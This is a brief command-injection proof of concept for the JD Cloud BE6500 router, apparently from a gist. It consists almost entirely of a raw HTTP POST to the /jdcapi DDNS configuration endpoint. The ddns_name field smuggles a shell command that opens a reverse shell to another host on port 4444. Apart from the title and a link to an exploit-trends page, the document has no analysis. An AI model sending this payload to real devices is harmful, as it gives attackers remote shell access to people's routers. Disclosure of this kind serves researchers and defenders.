JD Cloud BE6500 命令注入漏洞

https://gist.github.com/isstabber/4ed3554130681e50b3e987c3c4ee1f29

POST /jdcapi HTTP/1.1
Host: 192.168.68.1
Referer: http://192.168.68.1/PC/seniorManagement/DDNS.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: HostAddrIP=192.168.68.1; model=RE-CS-06; rom_type=1; sn_C=0; platform=Atheros; wan_proto=dhcp; work_mode_flag=0; HostMacAddr=b0%3A25%3Aaa%3A86%3A41%3Ac8; sessionid=d9d3095d1aa6551a53807f78181c1092
Origin: http://192.168.68.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 127

{"jsonrpc":"2.0","id":1,"method":"call","params":["d9d3095d1aa6551a53807f78181c1092","jdcapi.static","web_config_ddns",{"action":0,"check_interval":"0","ddns_name":"$(sh -i >& /dev/tcp/192.168.68.163/4444 0>&1)","domain":"","force_interval":"0","passwd":"","service":"","username":""}]}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.